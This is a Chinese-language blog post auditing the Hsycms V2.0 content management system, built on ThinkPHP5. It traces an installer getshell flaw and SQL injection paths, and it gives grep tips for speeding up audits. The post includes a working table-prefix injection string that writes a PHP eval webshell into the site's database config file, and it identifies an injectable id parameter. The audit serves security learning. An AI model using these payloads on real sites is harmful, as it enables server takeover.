PHP-CMS代碼審計(1)


由於剛學習過thinkphp5框架,就找了一個使用該框架的cms,hsycms V2.0,Hsycms企業網站管理系統V2.0下載地址:https://files.cnblogs.com/files/b1gstar/Hsycms%E4%BC%81%E4%B8%9A%E7%BD%91%E7%AB%99%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FV2.zip

同時已有大佬審計了此cms,我也借鑒學習下。https://xz.aliyun.com/t/5770

 

1、Getshell 漏洞 全局搜索file_put_contents php的向文件寫內容函數

 要利用該函數,必須保證寫的內容可控,逐個查看,注意到cms中定義的write_config函數,其中有

 1 function write_config($config){
 2     if(is_array($config)){
 3         //讀取配置內容
 4         $conf = file_get_contents(APP_PATH . 'install/data/db.tpl');
 5         //替換配置項
 6         foreach ($config as $name => $value) {
 7             $conf = str_replace("[{$name}]", $value, $conf);
 8         }
 9 
10         file_put_contents(APP_PATH.'common/install.lock', 'ok');
11 
12         //寫入應用配置文件
13         if(file_put_contents(APP_PATH . 'database.php', $conf)){
14             show_msg('配置文件寫入成功');
15         } else {

然后全局搜索write_config,看看哪里調用了。只有install模塊中的index.php調用了,也就是說在cms開始使用時,要求寫入配置文件時,使用了該函數。

            //創建數據表
            create_tables($db, $dbconfig['prefix']);
            //注冊創始人帳號
            $admin = session('admin_info');
            register_administrator($db, $dbconfig['prefix'], $admin);

            //創建配置文件
            $conf = write_config($dbconfig);

向上翻,即可看到變量$dbconfig來源。

            //檢測數據庫配置
            if (!is_array($db) || empty($db[0]) || empty($db[1]) || empty($db[2]) || empty($db[3]) ||  empty($db[5]) || empty($db[6])) {
                return $this->error('請填寫完整的數據庫配置');
            } else {
                $DB = array();
                list($DB['type'], $DB['hostname'], $DB['database'], $DB['username'], $DB['password'],
                    $DB['hostport'], $DB['prefix']) = $db;
                    
                //緩存數據庫配置
                session('db_config', $DB);

寫入的內容絲毫沒有過濾。也就是說此處有寫shell的可能。為啥說只是有可能呢,因為cms檢測common/install.lock文件不存在時,才會進入到初始化頁面,才可以寫配置。要想利用該漏洞,可以結合任意文件刪除漏洞,把install.lock文件刪除才行。至於如何刪除,我們先放一放。先想一想這個漏洞如何利用

可寫入內容的頁面如下:

 

嘗試了在數據庫名寫shell,數據庫可以創建成功,但是建表的時候就失敗了。

剩下可寫的只有前綴了。發現前綴在寫入文件之前,要先經過修改管理員密碼的sql語句執行。

即update `[前綴]user` set password='[PASS]' where username='admin';

 

我隨便把前綴改了下,如sy_`;phpinfo();  執行見下圖:

 

 

這樣是肯定是出錯的。先把前面語句補齊。

sy_user` set password=1;# 要把shell寫配置文件,要考慮到閉合單引號,sy_user` set password=1 or '.@eval($_POST["cnblog"]).'# 

 連接成功:

 2、檢查sql注入

先全局搜索X_FORWARDED_FOR,因為這里經常會出問題。。

向下翻,發現沒有任何過濾,就插入到數據庫了。有個前提條件,就是useragent頭中要包含baidu或者google之類。

 我們嘗試把x_forward_for的值設為單引號,然后跟進下,發現sql語句為

INSERT INTO `sy_spider` (`title` , `url` , `oldurl` , `ip` , `datetime`) VALUES (:data__title , :data__url , NULL , :data__ip , :data__datetime) 

 執行之后,發現單引號已經插入到數據庫了。這個時候要來確定下是否使用pdo預防注入,PHP的PDO擴展的 prepare 方法,是可以避免sql injection 風險。舉個pdo的例子:

$dbh = new PDO("mysql:host=localhost; dbname=demo", "user", "pass");
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果
$dbh->exec("set names 'utf8'"); 
$sql="select * from test where name = ? and password = ?";
$stmt = $dbh->prepare($sql); 
$exeres = $stmt->execute(array($testname, $pass)); 
if ($exeres) { 
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
    print_r($row);
}
}
$dbh = null;

 當調用 prepare() 時,查詢語句已經發送給了數據庫服務器,此時只有占位符 ? 發送過去,沒有用戶提交的數據;當調用到 execute()時,用戶提交過來的值才會傳送給數據庫,他們是分開傳送的,兩者獨立的,SQL攻擊者沒有一點機會

在這個cms中,是使用pdo的。見下圖:

 

 同樣,我們在Article模塊中,發現一個可控的輸入點

$title   = urldecode(input('title'));

沒有過濾就帶入了查詢:

if($title!=""){          
$where['title'] = array('like','%'.$title.'%');
}

db('article')->where($where)->order($order)->paginate(9,false,['query' => request()->param()]);

但是同樣被pdo處理掉。見下圖

 

 難道就沒有注入嗎?我們再看看show模塊

可控輸入的語句:

$id = input('id');

$one = db('article')->where('id',$id)->find();

我們這樣傳參:

 

 這個查詢語句db('article')->where('id',$id)->find();經過pdo處理,正常執行了,我們接着往下看:

$data['pn'] = prevNext($id,$navrow['entitle'],$one);    

id參數被帶入了prevnext函數,繼續跟進:

$prev=db('article')->field("id,title")->where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")->order('id desc')->limit('1')->find();  

發現這里使用了自行拼接的語句:where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")

我們在瀏覽器地址欄中把payload設置如下,頁面返回了正常數據:

有了這些經驗,我們就在hsycms模塊中直接看是否有拼接語句,來快速檢查sql注入。

我們發現這個cms使用的擴展RBAC類中有拼接語句,但是變量$authid不可控。

 

 

3、審計后台

后台也就是hsycms模塊,看了下,未發現漏洞(開始發的那個大佬的文章,說后台存在任意下載和任意文件刪除,我下載的這個cms版本中沒有那兩個函數)。

 

4、總結

通過這次審計,學習到兩點:

1、我們可以再快速審計時候,全局搜索file_put_contents 、“function del”、“function down”,然后逆向追蹤變量是否可控。

2、在諸如thinkphp這種mvc框架中,像快速發現sql注入,就直接找拼接語句,如where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")。可以搜索 “ < {”、“='{$“這種。

 3、快速定位tp框架版本,全局搜索version

4、phpstorm快捷鍵,F7單步調試,F8快速調試,不進入函數內部。F4定位變量。ALT+SHIFT+F 全局搜索。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM